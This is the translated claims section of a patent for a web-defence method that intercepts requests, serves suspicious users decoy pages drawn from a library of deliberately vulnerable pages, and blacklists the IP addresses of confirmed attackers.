1. An interactive attack verification method, comprising: Intercept user requests for business access sent to the application server; Attack detection is performed on the service access request, wherein the attack detection is used to detect the user's attack behavior; Based on the attack detection results, if the service access request hits a specific behavior rule, an attack inducement response page is returned in response to the service access request to perform N interactive attack detections on the user, where N is an integer greater than 1, and the specific behavior rule includes one or more high-risk behavior rules; before each return of the attack inducement response page, an attack inducement response page is randomly selected from the attack test library to determine the attack inducement response page for that time, wherein the attack test library includes M attack inducement response pages, each of which has different exploitable vulnerabilities; If the attack detection result indicates that the service access request is a normal request, then it is allowed to proceed to the application server; If the attack detection result indicates that the service access request is an attack request, then it is blocked; The step of performing N interactive attack detections on the user includes: repeatedly executing the following steps until the loop is repeated N times or a predetermined condition is met. Intercept the attack inducement request sent by the user to the application server, wherein the attack inducement request includes the access request sent by the user in response to the attack inducement response page; The attack detection is performed on the attack inducement request; If the attack inducement request matches a specific behavior rule, the attack inducement response page will be returned in response to the attack inducement request; The predetermined conditions include confirming that the attack inducement request hits the attack condition, or confirming that the attack inducement request does not hit the attack condition. If the attack inducement request hits the attack behavior rule, the user's IP address is added to the blacklist database and the loop ends; or if the attack inducement request does not hit the attack behavior rule and the specific behavior rule, it is confirmed that the attack behavior does not exist and the loop ends. The attack detection of the service access request or the attack inducement request includes: matching the service access request or the attack inducement request with an attack testing library, wherein the attack testing library includes attack behavior rules and specific behavior rules.

2. The method according to claim 1, wherein, After intercepting the user's business access request sent to the application server, the method further includes: The service access request is stored based on the user's user identifier; If the business access request matches the specific behavior rule, the N interactive attack detections are performed based on the user identifier.

3. The method according to any one of claims 1 or 2, wherein, If it is confirmed that the attack does not exist, the method further includes: The service access request is sent to the application server.

4. The method according to claim 1, wherein, The attack detection of the service access request or the attack inducement request also includes: Perform at least one of the following testing steps: The user's IP address is matched with at least one whitelisted address in the whitelist database, and the at least one whitelisted address is used to directly allow the service access request; The user's IP address is matched with at least one blacklisted address in the blacklist database, and the at least one blacklisted address is used to directly block the service access request.

5. An interactive attack verification device, comprising: The request interception module is used to intercept business access requests sent by users to the application server; An attack detection module is used to perform attack detection on the service access request, wherein the attack detection is used to detect the user's attack behavior; An attack inducement module is used to, based on the attack detection results, if the service access request matches a specific behavior rule, return an attack inducement response page in response to the service access request to perform N interactive attack detections on the user, where N is an integer greater than or equal to 1, and the specific behavior rule includes one or more high-risk behavior rules; before each return of the attack inducement response page, an attack inducement response page is randomly selected from an attack testing library, wherein the attack testing library includes M attack inducement response pages, each with different exploitable vulnerabilities; if the attack detection result indicates that the service access request is a normal request, it is allowed to proceed to the application server; if the attack detection result indicates that the service access request is an attack request, it is blocked; The step of performing N interactive attack detections on the user includes: repeatedly executing the following steps until N times or a predetermined condition is met, intercepting the attack inducement request sent by the user to the application server, wherein the attack inducement request includes the access request sent by the user in response to the attack inducement response page; performing the attack detection on the attack inducement request; if the attack inducement request matches a specific behavior rule, returning the attack inducement response page in response to the attack inducement request; The predetermined conditions include confirming that the attack inducement request hits the attack condition, or confirming that the attack inducement request does not hit the attack condition. If the attack inducement request hits the attack behavior rule, the user's IP address is added to the blacklist database and the loop ends; or if the attack inducement request does not hit the attack behavior rule and the specific behavior rule, it is confirmed that the attack behavior does not exist and the loop ends. The attack detection of the service access request or the attack inducement request includes: matching the service access request or the attack inducement request with an attack testing library, wherein the attack testing library includes attack behavior rules and specific behavior rules.

6. An interactive attack verification system, comprising: The client is used to send business access requests to the application server in response to user actions; A monitoring server is configured to execute the interactive attack confirmation method according to any one of claims 1 to 4, and, if it is confirmed that the user has not engaged in any attack behavior, send the business access request to the application server. The application server is used to receive the service access request sent by the monitoring server.

7. An electronic device, comprising: One or more processors; Storage device for storing one or more programs. Wherein, when the one or more programs are executed by the one or more processors, the one or more processors perform the method according to any one of claims 1 to 4.

8. A computer-readable storage medium having executable instructions stored thereon, which, when executed by a processor, cause the processor to perform the method according to any one of claims 1 to 4.

9. A computer program product comprising a computer program that, when executed by a processor, implements the method according to any one of claims 1 to 4.

Images